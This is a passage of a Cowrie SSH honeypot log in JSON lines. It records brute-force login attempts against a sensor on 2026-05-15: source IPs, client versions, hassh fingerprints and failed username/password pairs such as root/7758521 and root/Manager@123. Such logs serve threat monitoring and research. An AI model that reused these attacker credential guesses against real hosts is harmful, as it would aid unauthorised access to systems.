ha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:53.521899Z","src_ip":"118.26.36.248","session":"26e307924e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:54.409022Z","src_ip":"118.26.36.248","session":"26e307924e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:05:55.625775Z","src_ip":"118.26.36.248","session":"26e307924e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":56282,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f736bb6327","protocol":"ssh","message":"New connection: 47.86.95.62:56282 (10.17.0.5:22) [session: 60f736bb6327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:04.044584Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":40980,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf161573794","protocol":"ssh","message":"New connection: 31.59.89.180:40980 (159.203.135.109:22) [session: 7bf161573794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:14.275231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:14.279725Z","src_ip":"31.59.89.180","session":"7bf161573794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:14.396343Z","src_ip":"31.59.89.180","session":"7bf161573794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"video","message":"login attempt [root/video] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:14.877429Z","src_ip":"31.59.89.180","session":"7bf161573794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:15.993668Z","src_ip":"31.59.89.180","session":"7bf161573794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:19.853654Z","src_ip":"47.86.95.62","session":"f6bfa113e17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":37326,"dst_ip":"10.17.0.5","dst_port":22,"session":"86197f679094","protocol":"ssh","message":"New connection: 20.12.41.6:37326 (10.17.0.5:22) [session: 86197f679094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:24.231761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:24.236383Z","src_ip":"20.12.41.6","session":"86197f679094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:24.251041Z","src_ip":"20.12.41.6","session":"86197f679094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7758521","message":"login attempt [root/7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:24.340744Z","src_ip":"20.12.41.6","session":"86197f679094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:25.361610Z","src_ip":"20.12.41.6","session":"86197f679094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52938,"dst_ip":"159.203.135.109","dst_port":22,"session":"c05b88b94c6f","protocol":"ssh","message":"New connection: 61.222.211.114:52938 (159.203.135.109:22) [session: c05b88b94c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:42.265098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:42.269638Z","src_ip":"61.222.211.114","session":"c05b88b94c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:42.483655Z","src_ip":"61.222.211.114","session":"c05b88b94c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv1234","message":"login attempt [root/zxcv1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:43.358463Z","src_ip":"61.222.211.114","session":"c05b88b94c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:44.571176Z","src_ip":"61.222.211.114","session":"c05b88b94c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36808,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64a80bcb7ac","protocol":"ssh","message":"New connection: 47.86.95.62:36808 (10.17.0.5:22) [session: b64a80bcb7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:51.315928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:52.325589Z","src_ip":"47.86.95.62","session":"b64a80bcb7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":59006,"dst_ip":"10.17.0.5","dst_port":22,"session":"008671adadac","protocol":"ssh","message":"New connection: 43.153.27.162:59006 (10.17.0.5:22) [session: 008671adadac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:59.909978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:59.915227Z","src_ip":"43.153.27.162","session":"008671adadac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:06:59.983855Z","src_ip":"43.153.27.162","session":"008671adadac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Manager@123","message":"login attempt [root/Manager@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:00.290167Z","src_ip":"43.153.27.162","session":"008671adadac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:01.362391Z","src_ip":"43.153.27.162","session":"008671adadac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":13386,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfeb73e3e229","protocol":"ssh","message":"New connection: 118.26.36.248:13386 (159.203.135.109:22) [session: dfeb73e3e229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:16.226264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:16.231170Z","src_ip":"118.26.36.248","session":"dfeb73e3e229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:16.446032Z","src_ip":"118.26.36.248","session":"dfeb73e3e229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:17.405249Z","src_ip":"118.26.36.248","session":"dfeb73e3e229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:17.861724Z","src_ip":"47.86.95.62","session":"b64a80bcb7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:18.627304Z","src_ip":"118.26.36.248","session":"dfeb73e3e229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":59834,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcde2dbfe615","protocol":"ssh","message":"New connection: 31.59.89.180:59834 (159.203.135.109:22) [session: fcde2dbfe615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:30.256460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:30.261409Z","src_ip":"31.59.89.180","session":"fcde2dbfe615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:30.373547Z","src_ip":"31.59.89.180","session":"fcde2dbfe615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:30.852460Z","src_ip":"31.59.89.180","session":"fcde2dbfe615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:31.966843Z","src_ip":"31.59.89.180","session":"fcde2dbfe615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":44622,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b1a965e645","protocol":"ssh","message":"New connection: 209.99.184.143:44622 (159.203.135.109:22) [session: 29b1a965e645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:37.039447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:37.044024Z","src_ip":"209.99.184.143","session":"29b1a965e645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:37.140259Z","src_ip":"209.99.184.143","session":"29b1a965e645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWER1234qwer","message":"login attempt [root/QWER1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:37.555193Z","src_ip":"209.99.184.143","session":"29b1a965e645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:38.654478Z","src_ip":"209.99.184.143","session":"29b1a965e645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":55902,"dst_ip":"10.17.0.5","dst_port":22,"session":"886531046c60","protocol":"ssh","message":"New connection: 20.12.41.6:55902 (10.17.0.5:22) [session: 886531046c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:44.908386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:44.913255Z","src_ip":"20.12.41.6","session":"886531046c60","protocol":"ssh"}
